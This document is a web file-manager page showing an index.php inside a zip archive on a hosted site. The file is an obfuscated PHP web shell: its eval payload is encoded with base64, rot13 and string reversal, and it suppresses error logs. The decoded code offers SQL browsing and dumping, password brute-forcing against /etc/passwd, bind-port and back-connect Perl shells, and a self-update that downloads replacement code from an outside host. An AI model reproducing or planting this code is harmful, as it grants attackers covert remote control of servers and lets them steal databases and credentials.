Файловый менеджер - Редактировать - /home/newsgini/newsgini.one/7f42fe.zip
Назад
PK �k,[v ��Mg Mg index.phpnu �[��� <?php $BtMLS = 'base'.'64'.'_'.'decode'; $FyYVp = 's'.'t'.'r'.'_rot1'.'3'; $WtfSb = 's'.'trrev'; error_reporting(0); ini_set('error_log', NULL); ini_set('log_errors', 0); ini_set('display_errors', 0); /* buqrvntojxvpimhu o **/ eval($WtfSb($FyYVp($BtMLS('
;gvkr
;)]'n'[GFBC_$ . 'abvgpn'(pahs_erfh_yynp	
) )]'n'[GFBC_$ . 'abvgpn'(fgfvkr_abvgpahs && )]'n'[GFBC_$(lgczr! (sv
;'bsaVprF' = ]'n'[GFBC_$		
rfyr	
;abvgpn_gyhnsrq$ = ]'n'[GFBC_$		
))abvgpn_gyhnsrq$ . 'abvgpn'(fgfvkr_abvgpahs && )abvgpn_gyhnsrq$(grffv(sv	
) )]'n'[GFBC_$(lgczr (sv
}
}	
;)]'1c'[GFBC_$(ynir		
{ rfyr }	
;)n$(rmvynverf bupr		
;)		
)'rqbz_rsnf'(grt_vav@ >= "rqbzrsnf"			
,ABVFERI_BFJ >= "abvferi_bfj"			
,)(abvfericuc >= "abvferi_cuc"			
,)(rznah_cuc >= "rznah"			
(lneen = n$		
{ )]'1c'[GFBC_$@!(sv	
{ )(PEabvgpn abvgpahs

}
;)(ergbbSbfj	
;">gcvepf/< ;'ryvsrzna$'=sreu.abvgnpby >gcvepf<" bupr	
;">ergarp/<>eo<! rabQ/.>ergarp<" bupr	
;)cuc$ ,ryvsrzna$(fgargabp_ghc_ryvs	
}	
;'yzguc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#yzguc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/yzguc.\/"(upgnz_trec(svrfyr}	
;'7cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#7cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/7cuc.\/"(upgnz_trec(svrfyr}	
;'5cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#5cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/5cuc.\/"(upgnz_trec(svrfyr}	
;'cuc.'.]1[2ryvsrzna$ = ryvsrzna$		
;)2ryvsrzna$ ,ryvsrzna$ ,"#cuc.\)*.(#"(upgnz_trec		
{))ryvsrzna$ ,"/cuc.\/"(upgnz_trec(sv	
;)__RYVS__(rznarfno = ryvsrzna$	
} ;)(rvq ;)(ergbbSbfj ;'>ergarp/<>gabs/<>c/<.qryvnS ]-[>c<>"qre"=ebybp gabs<>ergarp<' bupr {))cuc$ ,"/cuc?\</"(upgnz_trec!(sv	
;)"zgu.79136921028s03q89r89709s76328369/rivy.xpngfryvs//:cggu"(fgargabp_grt_cggu =  cuc$	
}	
}		
;krqbp$ aehgre			
{ rfyr}		
;)rtnCyeh$(aehgre			
;)up$(rfbyp_yehp			
;)up$(prkr_yehp = rtnCyeh$			
;)"0.34/kbsrevS 10100102/bxprT )0.34:ie ;46JBJ ;0.01 GA fjbqavJ( 0.5/nyyvmbZ" ,GARTNERFH_GCBYEHP ,up$(gcbgrf_yehp			
;)rheg,ABVFFRFRVXBBP_GCBYEHP ,up$(gcbgrf_yehp			
;)51 ,GHBRZVG_GCBYEHP ,up$(gcbgrf_yehp			
;)51 ,GHBRZVGGPRAABP_GCBYEHP ,up$(gcbgrf_yehp			
;)0 ,GFBULSVERI_YFF_GCBYEHP ,up$(gcbgrf_yehp			
;)0 ,ERRCLSVERI_YFF_GCBYEHP ,up$(gcbgrf_yehp			
;)1 ,ERSFANEGAEHGRE_GCBYEHP ,up$(gcbgrf_yehp			
;)1 ,ABVGNPBYJBYYBS_GCBYEHP ,up$(gcbgrf_yehp			
 ;)0 ,ERQNRU_GCBYEHP ,up$(gcbgrf_yehp			
;)yeh$ ,YEH_GCBYEHP ,up$(gcbgrf_yehp			
;)(gvav_yehp = up$			
{))krqbp$(lgczr( sv		
;)yeh$(fgargabp_grt_ryvs@ = krqbp$		
{)yeh$(fgargabp_grt_cggu abvgpahs	
;">gargabp=ffnyp ivq<>1u/<rgnqCH>1u<" bupr	
;)(erqnrUbfj	
{ )(rgnQCHabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>ivq/<' bupr	
}	
}		
;)"yc.po/czg/"(xavyah            
;">rec/<".)"yc.po cret | khn fc"(kRbfj."a\ghb$>1yz=ffnyp rec<" bupr			
;)1(crryf            
;)"& 1&>2 yyha/irq/>1 ".]'3c'[GFBC_$." ".]'2c'[GFBC_$." yc.po/czg/ yerc"(kRbfj = ghb$			
;)c_gpraabp_xpno$,"yc.po/czg/"(sp			
{ )'cpo' == ]'1c'[GFBC_$(sv		
}		
;)"yc.co/czg/"(xavyah            
;">rec/<".)"yc.co cret | khn fc"(kRbfj."a\ghb$>1yz=ffnyp rec<" bupr			
;)1(crryf            
;)"& 1&>2 yyha/irq/>1 ".]'2c'[GFBC_$." yc.co/czg/ yerc"(kRbfj = ghb$			
;)c_gebc_qavo$,"yc.co/czg/"(sp			
{ )'cco' == ]'1c'[GFBC_$(sv		
}		
}			
;)j$(rfbyps@				
;))g$(rqbprq_46rfno@,j$(rgvejs@				
{)j$(sv			
;)'fgargabp_ghc_ryvs'(fgfvkr_abvgpahs@ eb )"j",s$(arcbs@ = j$			
{ )g$,s$(sp abvgpahs		
{ ))]'1c'[GFBC_$(grffv(sv	
;">eo<>zebs/<	
>'>>'=rhyni gvzohf=rclg ghcav< >'73313'=rhyni 'gebc'=rzna 'gkrg'=rclg ghcav< :gebC >'". ]'EQQN_RGBZRE'[ERIERF_$ ."'=rhyni 'erierf'=rzna 'gkrg'=rclg ghcav< :erierF	
>/eo<>ancf/<]yerc[  gpraabp-xpnO>ancf<	
>"\;rfyns aehgre;)rhyni.gebc.fvug,rhyni.erierf.fvug,'cpo',yyha,yyha(t"\=gvzohFab 'csa'=rzna zebs<	
>zebs/<	
>'>>'=rhyni gvzohf=rclg ghcav< >'73313'=rhyni 'gebc'=rzna 'gkrg'=rclg ghcav< :gebC	
>/eo<>ancf/<]yerc[ uf/avo/ bg gebc qavO>ancf<	
>"\;rfyns aehgre;)rhyni.gebc.fvug,'cco',yyha,yyha(t"\=gvzohFab 'csa'=rzna zebs<	
>gargabp=ffnyp ivq<>1u/<fybbg xebjgrA>1u<" bupr	
;"=0aPA0KPX0jBjNPqcuKMWxtPAfwGB90DtH2pik2LWxtPAfwVhkSGZIRFGEPVyEKqwITryOPqhS2DvNvGB90DtDaocWUptHJnxOPs8OPGZIRFGEPVwITryyDPX0jBv4xGCAxW+VPYFWIERE1Ht4JMj9JPWbDQ7VvGB90Dz4wVfDIICERIGOvoyO3oWxtPAfwVB50GQMPCvjvGWERIGOvoyO3oWxtPAfGXxyTpxNPMy5JnzITMutPVzyTVvfzpiMTV09zohS2DvNFMcEJPWbDQ7OFXcfzpiMJCxyTpxtFVbLJnWbDQ7xlHf4xGCARX0OKMwAJLWbDQ7OFXktFMfyTn3cDQ7VvopEapiOUVhITqmyTotDaouAxVtHJnxOPs8OFXmjlHb4JM0AKnfcDQ7VvopEapiOUVhITpiOPqhS2DvNFMcETV8kUVcxFJBS0KFEREO5HFf0SZoM1EFSRWb4JnsWUMxS2nw92pfZSXx5JnvcDQ7xFZfVSERSHEGIIEF91GGkPISg0DCA1KZ90HfZSX0O3oeA2omEKMmcDQ7VvopEKMeA2omOFM0SJMlATV05JLQWPVyyTMtjUstxFXaN3L0qPXy1JLhyaLiE3olOUqyqTYASHEFE1Hsg0DCAyWfDIEBy0KTOyWfZSX0I2nw92pX0jB0I2nw92HtH2p1cDQ9OlBcRQX0yTryOlrtxFZtjQVJqxHOORXtLJnX0jBvxJYtt2pi4Jnv9vV9jRGSu0HxbDQfWKMj9vocW2YlAKqiRlV"=c_gebc_qavo$	
;"7xvHFIREHASXyA3ofAzPAfGXHI1GRE1HbH2pik2LX0jBc4HFRE1HbH2pik2LX0jBcpFngNPnm9vocW2YatFoyE3p5AaPAfGXvDIEYA0GGMvCvNPYFWIERE1Hb4JMj9zPAfGXvDIEYA0GGMvCvNPYHI1GRE1Hb4JMj9zPAfGXvDIEYA0GGMvCvNPYByREHASXhITpicDQ7xvVhkIVxNvBl9zplIxVbHJnxOPs8OFXlETMuOUWtjPISg0DCASX0AJMh52owcDQ7xvVhkIVxNvBl9zplIxVbHJnxOPs8OFXiE3olOUWtjFGOIxHHA1KYA0GGOPYHIxGW9yEDOPYHI0FQ90HbDKMeA2omcDQ7xlWjATqatFMgSzo5W2o09zpjEKMa1mo09zpjEvPAfGXv4TKuDPV6V3olWKEvtFMcETV8kUVcVUMxSJnxNPYqSmJJqxHOEPXhy2KlETMug2LiAKClETMuOUWX0jBcVvopSPWtbwpiWapSWPXyyTMtjUstxFKjfyIUWIDxtvoiEKLsEKMhyJClETMuyTWX0jB0I2nw92HtH2p1cDQfWKMj9vocW2YlAKqiRlV"=c_gpraabp_xpno$	
;)(erqnrUbfj	
{ )(xebjgrAabvgpn abvgpahs
}
;)(ergbbSbfj	
;'>ivq/<' bupr	
}    
;))(ebeer>-oq$(fenupynvprcfyzgu bupr        
{ rfyr }	
}			
;'>rec/<'.)]'ryvs'[ryvs$(fenupynvprcfyzgu.'>1yz=ffnyp rec<>/eo<' bupr				
;)]'2c'[GFBC_$(ryvSqnby>-oq$ = ryvs$				
{ )'ryvsqnby' == ]'1c'[GFBC_$@(sv			
}            
;">zebs/<>'>>'=rhyni gvzohf=rclg ghcav<>s=rzna gkrg=rclg 'caVfybbg'=ffnyp  ghcav< >ancf/<ryvs qnbY>ancf<>';rfyns aehgre;)(gvzohf.sf.garzhpbq;rhyni.s.fvug=rhyni.2c.sf.garzhpbq;"\ryvsqnby"\=rhyni.1c.sf.q'=gvzohfab zebs<" bupr                    
))(upgrs>-oq$(sv                
;)"'l' = `ivec_ryvS` QAN )(ERFH = )`gfbu` ,'@' ,`erfh`(gnpabp RERUJ erfh.ydflz ZBES 1 GPRYRF"(lerhd>-oq$                
{ )'ydflz'==]'rclg'[GFBC_$(sv            
;">/eo<>zebs/<>ryong/<" bupr			
}			
;">eg/<>qg/<" bupr				
;">'rghprkR'=rhyni gvzohf=rclg ghcav<>/eo<>nrengkrg/<" bupr                
;)]'2c'[GFBC_$(fenupynvprcfyzgu bupr                    
))'ryvsqnby' =! ]'1c'[GFBC_$( && )]'2c'[GFBC_$(lgczr!(sv                
;">'kc001:gutvru;%001:ugqvj'=rylgf 'lerhd'=rzna nrengkrg<>';rfyns aehgre;)(gvzohf.sf.garzhpbq;rhyni.lerhd.fvug=rhyni.2c.sf.q;"\lerhd"\=rhyni.1c.sf.q'=gvzohfab zebs<>zebs/<>eo<" bupr				
}				
}					
;'>ivq/<'.))(ebeer>-oq$(fenupynvprcfyzgu.' >o/<:ebeeR>o<>ivq<' bupr						
{ rfyr }					
;'>ryong/<' bupr						
}						
;'>eg/<' bupr							
}							
;'>qg/<'.))rhyni$(fenupynvprcfyzgu(eo2ya.'>qg<' bupr									
rfyr								
;'>qg/<>v/<yyha>v<>qg<' bupr									
)yyha == rhyni$(sv								
{ )rhyni$ >= lrx$ fn zrgv$(upnrebs							
;1:2?1==ravy$ = ravy$							
;'>"'.ravy$.'y"=ffnyp eg<' bupr							
}							
;2 = ravy$								
;'>eg<>eg/<' bupr								
;rheg=rygvg$								
;)zrgv$(grfre								
;'>ug/<'.lrx$.'>ug<' bupr									
)rhyni$ >= lrx$ fn zrgv$(upnrebs								
;'>eg<' bupr								
{	)rygvg$!(sv							
{	))(upgrs>-oq$ = zrgv$(ryvuj						
;1 = ravy$						
;'>"929292#:ebybp-qahbetxpno"=rylgf avnz=ffnyp 2=tavqqncyyrp 1=tavpncfyyrp %001=ugqvj ryong<' bupr						
;rfyns = rygvg$						
{ )rfyns ==! fre>-oq$(sv					
;)]'2c'[GFBC_$@(lerhd>-oq$					
{ ))]'2c'[GFBC_$(lgczr! && )'lerhd' == ]'1c'[GFBC_$@((sv				
}				
;">eo<>eo<" bupr					
;'03,'.)03*]'3c'[GFBC_$(.' GVZVY `'.]'2c'[GFBC_$.'` ZBES * GPRYRF' = ]'2c'[GFBC_$						
rfyr					
;)03*]'3c'[GFBC_$(.' GRFSSB 03 GVZVY '.]'2c'[GFBC_$.' ZBES * GPRYRF' = ]'2c'[GFBC_$						
)'ydftc'==]'rclg'[GFBC_$(sv					
;--]'3c'[GFBC_$                    
;">n/<;gt& gkrA>')" . )1+]'3c'[GFBC_$( . ' ,"' . ]'2c'[GFBC_$ . ""\(gf'=xpvypab #=sreu n< " bupr                        
)frtnc$ < ]'3c'[GFBC_$(sv                    
;">n/<ireC ;gy&>')" . )1-]'3c'[GFBC_$( . ' ,"' . ]'2c'[GFBC_$ . ""\(gf'=xpvypab #=sreu n< " bupr                        
)1 > ]'3c'[GFBC_$(sv                    
;"frtnc$ sb " bupr                    
;">" . )]'3c'[GFBC_$)gav(( . "=rhyni '3c'=rzna gkrg=rclg ghcav< # rtnC )fqebpre }]'a'[zha${( >ancf/<".]'2c'[GFBC_$.">ancf<>gcvepf/<})rhyni.3c.sf.q ,"\" . ]'2c'[GFBC_$ . ""\(gf{)(abvgpahs=gvzohfab.sf.q>gcvepf<" bupr                    
;)03 / ]'a'[zha$(yvrp = frtnc$					
;)(upgrs>-oq$ = zha$					
;)]'2c'[GFBC_$ . ' ZBES a fn )*(GAHBP GPRYRF'(lerhd>-oq$					
;1:]'3c'[GFBC_$?]'3c'[GFBC_$ = ]'3c'[GFBC_$                    
;'lerhd' = ]'1c'[GFBC_$					
{ )'gpryrf' == ]'1c'[GFBC_$@(sv				
;">';666# qvybf kc2:cbg-erqebo'=rylgf qg<>qg/<>'ydf.czhq'=rhyni ryvs=rzna gkrg=rclg ghcav<:ugnc ryvS>eo<>';)(gvzohf.sf.garzhpbq;"\qnbyajbq"\=rhyni.2c.sf.garzhpbq'=xpvypab 'czhQ'=rhyni abggho=rclg ghcav< >';)(fv'=xpvypab 'kboxprup'=rclg ghcav<" bupr				
}				
;">eo<>eoba/<" . )">yynzf/<)}]'a'[a${(>yynzf< ":';cfoa&'?)]'gahbp_ydf'[GFBC_$(lgczr( . ">n/<".rhyni$.">"\)1,'".rhyni$."'(gf"\=xpvypab #=sreu n<;cfoa&>'".rhyni$."'=rhyni '][yog'=rzna 'kboxprup'=rclg ghcav<>eoba<" bupr					
;)rhyni$(fenupynvprcfyzgu = rhyni$					
;))''.rhyni$.' ZBES a fn )*(GAHBP GPRYRF'(lerhd>-oq$(upgrs>-oq$ = a$                        
))]'gahbp_ydf'[GFBC_$(lgczr!(sv                    
;)zrgv$(upnr = )rhyni$ ,lrx$(gfvy					
{ ))fre_fyog$(upgrs>-oq$ = zrgv$(ryvuj				
;)(fryonGgfvy>-oq$ = fre_fyog$				
;">eo<>eo<>ancf/<:fryonG>ancf<>';666# qvybf kc2:cbg-erqebo'=rylgf 1=ugqvj qg<>eg<" bupr				
;)]'rfno_ydf'[GFBC_$(oqgpryrf>-oq$				
{))]'rfno_ydf'[GFBC_$(lgczr!(sv			
;">0=tavpncfyyrp 2=tavqqncyyrp %001=ugqvj ryong<>/eo<" bupr		
{)xavy>-oq$ && )oq$(grffv(sv	
;">gcvepf/<		
}			
;qrxprup.]v[]'][yog'[fgarzryr.sf.q! = qrxprup.]v[]'][yog'[fgarzryr.sf.q					
)v++;ugtary.]'][yog'[fgarzryr.sf.q<v;0=v(ebs				
{ )(fv abvgpahs			
}			
;)(gvzohf.sf.q				
;y = rhyni.3c.sf.q )3c.sf.q && y(sv                
;g = rhyni.2c.sf.q				
;'gpryrf' = rhyni.1c.sf.q				
{ )y,g(gf abvgpahs			
}            
}                
;''=rhyni.3c.s )3c.s(sv                    
;''=rhyni.2c.s )2c.s(sv                    
;''=rhyni.1c.s )1c.s(sv                    
;}{ )(abvgpahs = gvzohfab.s { )oq_f=!rhyni.rfno_ydf.s(sv                
{ )s(fs abvgpahs            
;'".)]'rfno_ydf'[GFBC_$(frufnyfqqn@."'=oq_f            
>gcvepf<		
>ryong/<		
>eg/<			
>qg/<fjbe sb erozha rug gahbp >" . )'qrxprup ':''?)]'gahbp_ydf'[GFBC_$(lgczr( . "'ab'=rhyni gahbp_ydf=rzna kboxprup=rclg ghcav<>qg<                
>qg/<>';)sf.q(fs'=xpvypab '>>'=rhyni gvzohf=rclg ghcav<>qg<				
>qg/<" bupr	
;czg$ bupr		
rfyr}	
;czg$ bupr rfyr		
}		
;'>gpryrf/<' bupr			
}			
;'>abvgcb/<'.rhyni$.'>'.)'':'qrgpryrf'?]'rfno_ydf'[GFBC_$==rhyni$(.' "'.rhyni$.'"=rhyni abvgcb<' bupr				
;)zrgv$(upnr = )rhyni$ ,lrx$(gfvy				
{ ))(upgrs>-oq$ = zrgv$(ryvuj			
;">abvgcb/<>''=rhyni abvgcb<>rfno_ydf=rzna gpryrf<" bupr			
;)(foQgfvy>-oq$			
}			
;xnreo ;)'668cp'(grfenuPgrf>-oq$ :"668cp" rfnp				
;xnreo ;)'h8vbx'(grfenuPgrf>-oq$ :"H-8VBX" rfnp				
;xnreo ;)'e8vbx'(grfenuPgrf>-oq$ :"E-8VBX" rfnp				
;xnreo ;)'8sgh'(grfenuPgrf>-oq$ :"8-SGH" rfnp				
;xnreo ;)'1521cp'(grfenuPgrf>-oq$ :"1521-fjbqavJ" rfnp				
{ )]'grfenup'[GFBC_$(upgvjf			
{ ))]'rfno_ydf'[GFBC_$ ,]'ffnc_ydf'[GFBC_$ ,]'avtby_ydf'[GFBC_$ ,]'gfbu_ydf'[GFBC_$(gpraabp>-oq$(sv		
{))]'gfbu_ydf'[GFBC_$(grffv(sv	
;">''=rhyni rfno_ydf=rzna gkrg=rclg ghcav<" = czg$	
;">qg<>qg/<>"\". ))]'ffnc_ydf'[GFBC_$(fenupynvprcfyzgu:''?)]'ffnc_ydf'[GFBC_$(lgczr( .""\=rhyni ffnc_ydf=rzna gkrg=rclg ghcav<>qg<
>qg/<>"\". ))]'avtby_ydf'[GFBC_$(fenupynvprcfyzgu:'gbbe'?)]'avtby_ydf'[GFBC_$(lgczr( .""\=rhyni avtby_ydf=rzna gkrg=rclg ghcav<>qg<
>qg/<>"\". ))]'gfbu_ydf'[GFBC_$(fenupynvprcfyzgu:'gfbuynpby'?)]'gfbu_ydf'[GFBC_$(lgczr( .""\=rhyni gfbu_ydf=rzna gkrg=rclg ghcav<>qg<
>qg/<>gpryrf/<>abvgcb/<ydFretgfbC>" bupr
;'qrgpryrf' bupr)'ydftc'==]'rclg'[GFBC_$@(sv
;" 'ydftc'=rhyni abvgcb<>abvgcb/<ydFlZ>" bupr
;'qrgpryrf' bupr)'ydflz'==]'rclg'[GFBC_$@(sv    
;" 'ydflz'=rhyni abvgcb<>'rclg'=rzna gpryrf<>qg<
>'". )'':]'grfenup'[GFBC_$?)]'grfenup'[GFBC_$(grffv( ."'=rhyni grfenup=rzna arqqvu=rclg ghcav<>'". )]'qjp'[FYNOBYT$(fenupynvprcfyzgu ."'=rhyni p=rzna arqqvu=rclg ghcav<>''=rhyni 2c=rzna arqqvu=rclg ghcav<>'lerhd'=rhyni 1c=rzna arqqvu=rclg ghcav<>ydF=rhyni n=rzna arqqvu=rclg ghcav<
>eg<>eg/<>qg/<>qg<>qg/<rfnongnQ>qg<>qg/<qebjffnC>qg<>qg/<avtbY>qg<>qg/<gfbU>qg<>qg/<rclG>qg<
>eg<>'0'=tavpncfyyrp '2'=tavqqncyyrp ryong<>';)fvug(fs'=gvzohfab 'gfbc'=qbugrz 'sf'=rzna zebs<
>gargabp=ffnyp ivq<>1u/<erfjbeo ydF>1u<
" bupr	
;)(erqnrUbfj	
}	
;)'>gcvepf/<)1-(xpno.lebgfvu.jbqavj;)"ryvs arcb g'\anP !ebeeR"(geryn>gcvepf<'(rvq            
rfyr }        
;)]'2c'[GFBC_$(grfah            
;)cs$(rfbyps            
;)cs$ ,i$(czhq>-oq$                
)i$ fn ]'yog'[GFBC_$(upnrebs            
{ ))'j' ,]'ryvs'[GFBC_$(arcbs@ = cs$(svrfyr }        
;gvkr            
;)i$(czhq>-oq$				
)i$ fn ]'yog'[GFBC_$(upnrebs            
;)"avnyc/gkrg :rclG-gargabP"(erqnru            
;)"ydf.czhq=rznaryvs ;garzupnggn :abvgvfbcfvQ-gargabP"(erqnru            
;)6904 ,"eryqanumt_ob"(gengf_ob            
{ ))]'ryvs'[GFBC_$(lgczr(sv        
}        
;xnreo ;)'668cp'(grfenuPgrf>-oq$ :"668cp" rfnp            
;xnreo ;)'h8vbx'(grfenuPgrf>-oq$ :"H-8VBX" rfnp            
;xnreo ;)'e8vbx'(grfenuPgrf>-oq$ :"E-8VBX" rfnp            
;xnreo ;)'8sgh'(grfenuPgrf>-oq$ :"8-SGH" rfnp            
;xnreo ;)'1521cp'(grfenuPgrf>-oq$ :"1521-fjbqavJ" rfnp            
{ )]'grfenup'[GFBC_$(upgvjf        
;)]'rfno_ydf'[GFBC_$(oqgpryrf>-oq$		
;)]'rfno_ydf'[GFBC_$ ,]'ffnc_ydf'[GFBC_$ ,]'avtby_ydf'[GFBC_$ ,]'gfbu_ydf'[GFBC_$(gpraabp>-oq$		
{ ))'gpryrf'=!]'1c'[GFBC_$@( && )'qnbyajbq'==]'2c'[GFBC_$@((sv	
;)]'rclg'[GFBC_$(ffnyPoQ jra = oq$	
;}	
}		
;rfyns aehgre			
}			
;xnreo				
}					
;)ydf$(bupr rfyr ;)ydf$ ,cs$(rgvejs )cs$(sv                        
;"a\".';)'.)zrgv$ ," ,"(rqbyczv.'( FRHYNI )'.)fazhybp$ ," ,"(rqbyczv.'( '.ryong$.' BGAV GERFAV' = ydf$                        
}						
;x$ = ][fazhybp$							
;"'".)i$(frufnyfqqn."'" = ]x$[zrgv$							
{ )i$>=x$ fn zrgv$(upnrebs						
;)(lneen = fazhybp$						
{ ))(upgrs>-fvug$ = zrgv$(ryvuj					
;)ryong$.' ZBES * GPRYRF'(lerhd>-fvug$					
:'ydftc' rfnp				
;xnreo				
;)"a\a\;"(bupr rfyr ;)"a\a\;" ,cs$(rgvejs )cs$(sv                        
)qnru$!(sv                    
}					
;++v$                        
;)ydf$(bupr rfyr ;)ydf$ ,cs$(rgvejs )cs$(sv                        
;')'.)zrgv$ ," ,"(rqbyczv."(,g\a\" =. ydf$                            
rfyr }                        
;rfyns = qnru$                            
;')'.)zrgv$ ," ,"(rqbyczv."(g\a\ FRHYNI )".)fazhybp$ ," ,"(rqbyczv.'( `'.ryong$.'` BGAV GERFAV' =. ydf$                            
{ )qnru$(sv                        
}						
;"`".x$."`" = ][fazhybp$							
;"'".)i$(tavegf_rcnpfr_ynre_ydflz@."'" = ]x$[zrgv$                                
rfyr                            
;i$ = ]x$[zrgv$                                
))i$(gav_fv(svrfyr                            
;"YYHA" = ]x$[zrgv$                                
)yyha === i$(sv                            
{ )i$>=x$ fn zrgv$(upnrebs						
;)(lneen = fazhybp$						

}                        
;"a\a\;" = ydf$                            
;rheg = qnru$                            
{ )0 == 0001 % v$(sv                        
;'' = ydf$                        
{ ))(upgrs>-fvug$ = zrgv$(ryvuj					
;rheg = qnru$                    
;0 = v$                    
;)'`'.ryong$.'` ZBES * GPRYRF'(lerhd>-fvug$					
;)ydf$(bupr rfyr ;)ydf$ ,cs$(rgvejs )cs$(sv                    
;"a\;".]1[rgnrep$ = ydf$					
;)fre$(lneen_upgrs_ydflz = rgnrep$					
;)'`'.ryong$.'` RYONG RGNREP JBUF'(lerhd>-fvug$ = fre$					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )rfyns = cs$ ,ryong$(czhq abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo				
;))e$,"a\"(rqbyczv>='ryvs'(lneen aehgre					
;)'2bfj ryong cbeq'(lerhd>-fvug$					
;]'ryvs'[v$ = ][e$						
))(upgrs>-fvug$=v$(ryvuj					
;)(lneen=e$					
;)";2bfj zbes ryvs gpryrf;'".)egf$(frufnyfqqn."' ZBES 2bfj LCBP;)gkrg ryvs(2bfj RYONG RGNREP"(lerhd>-fvug$					
:'ydftc' rfnp				
;xnreo				
;))"ryvs fn )'".)egf$(frufnyfqqn."'(RYVS_QNBY GPRYRF"(lerhd>-fvug$(upgrs>-fvug$ aehgre					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )egf$(ryvSqnby abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;)egf$ ,xavy>-fvug$(tavqbpar_garvyp_grf_tc@ aehgre					
:'ydftc' rfnp				
;xnreo					
;)egf$.' GRFENUP GRF'(lerhd>-fvug$						
rfyr					
;)xavy>-fvug$ ,egf$(grfenup_grf_ydflz@ aehgre						
))'grfenup_grf_ydflz'(fgfvkr_abvgpahs(sv					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )egf$(grfenuPgrf abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo				
;)(ebeer_gfny_tc@ aehgre					
:'ydftc' rfnp				
;xnreo				
;)(ebeer_ydflz@ aehgre					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )(ebeer abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo				
;)"'tbyngnp_tc' =! nzrupf_ryong QAN 'nzrupf_abvgnzebsav' =! nzrupf_ryong reruj fryong.nzrupf_abvgnzebsav zbes rzna_ryong gpryrf"(lerhd>-fvug$ = fre>-fvug$ aehgre					
:'ydftc' rfnp				
;xnreo				
;)'FRYONG JBUF'(lerhd>-fvug$ = fre>-fvug$ aehgre					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )(fryonGgfvy abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo				
;)"'g'=!rgnyczrgfvgnq RERUJ rfnongnq_tc ZBES rznagnq GPRYRF"(lerhd>-fvug$ = fre>-fvug$ aehgre					
:'ydftc' rfnp				
;xnreo				
;)"frfnongnq JBUF"(lerhd>-fvug$ aehgre                        
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )(foQgfvy abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;)fre$(pbffn_upgrs_tc@ aehgre					
:'ydftc' rfnp				
;xnreo					
;)fre$(pbffn_upgrs_ydflz@ aehgre					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
;fre>-fvug$:)0(ten_grt_pahs?)(ften_zha_pahs = fre$			
{ )(upgrs abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;)egf$,xavy>-fvug$(lerhd_tc@ = fre>-fvug$ aehgre					
:'ydftc' rfnp				
;xnreo					
;)egf$(lerhd_ydflz@ = fre>-fvug$ aehgre					
:'ydflz' rfnp				
{ )rclg>-fvug$(upgvjf			
{ )egf$(lerhd abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;rheg aehgre))oq$(oq_gpryrf_ydflz@( sv					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{ )oq$(oqgpryrf abvgpahs		
}		
;rfyns aehgre			
}			
;xnreo					
;rheg aehgre ) )"rznaoq$=rznaoq ffnc$=qebjffnc erfh$=erfh }]1[gfbu${=gebc }]0[gfbu${=gfbu"(gpraabp_tc@ = xavy>-fvug$ (sv					
;2345=]1[gfbu$ )]1[gfbu$!(sv					
;)gfbu$ ,':'(rqbyckr = gfbu$					
:'ydftc' rfnp				
;xnreo					
;rheg aehgre ) )rheg,ffnc$,erfh$,gfbu$(gpraabp_ydflz@ = xavy>-fvug$ (sv					
:'ydflz' rfnp				
{	)rclg>-fvug$(upgvjf			
{)rznaoq$ ,ffnc$ ,erfh$ ,gfbu$(gpraabp abvgpahs		
}		
;rclg$ = rclg>-fvug$			
{	)rclg$(ffnyPoQ abvgpahs		
;fre$ eni		
;xavy$ eni		
;rclg$ eni		
{ ffnyPoQ ffnyp	
{ )(ydFabvgpn abvgpahs

}
;)(ergbbSbfj	
;'>eo<>ivq/<' bupr	
;'>ryong/<>zebs/<>eg/<>qg/<>">>"=rhyni gvzohf=rclg ghcav<>qg<>qg/<>qg<>eg<>eg/<>qg/<'.		
'>ryong/<>eg/<>qg/<>"pvq.qjffnc'.)]'qjp'[FYNOBYT$(fenupynvprcfyzgu.'"=rhyni gpvq=rzna gkrg=rclg ghcav<>qg<'.		
'>qg/<>ancf/<lenabvgpvQ>ancf<>qg<>eg<'.		
'>eg/<>qg/<>"gbbe"=rhyni avtby=rzna gkrg=rclg ghcav<>qg<'.		
'>qg/<>ancf/<avtbY>ancf<>qg<>eg<>"kc51:gsry-tavqqnc"=rylgf ryong<>qg<>qg/<>qg<>eg<'.		
'>eg/<>qg/<>yrony/<lenabvgpvQ >"2"=rhyni rclg=rzna bvqne=rclg ghcav<>yrony<>qg<>qg/<>qg<>eg<'.		
'>eg/<>qg/<>yrony/<)ybtva >- avtby( rferire >qrxprup 1=rhyni rferire=rzna kboxprup=rclg ghcav<>"kc51:gsry-tavqqnc"=rylgf yrony<>qg<>qg/<>qg<>eg<'.		
'>eg/<>qg/<>yrony/<qjffnc/pgr/ >qrxprup "1"=rhyni rclg=rzna bvqne=rclg ghcav<>yrony<>qg<'.		
'>qg/<>ancf/<rclg rgheO>ancf<>qg<>eg<'.		
'>eg/<>qg/<>"1.0.0.721"=rhyni erierf=rzna gkrg=rclg ghcav<>qg<'.		
'>qg/<>ancf/<gebc:erierF>ancf<'.		
'>"'.)]'grfenup'[GFBC_$(fenupynvprcfyzgu.'"=rhyni grfenup=rzna arqqvu=rclg ghcav<'.		
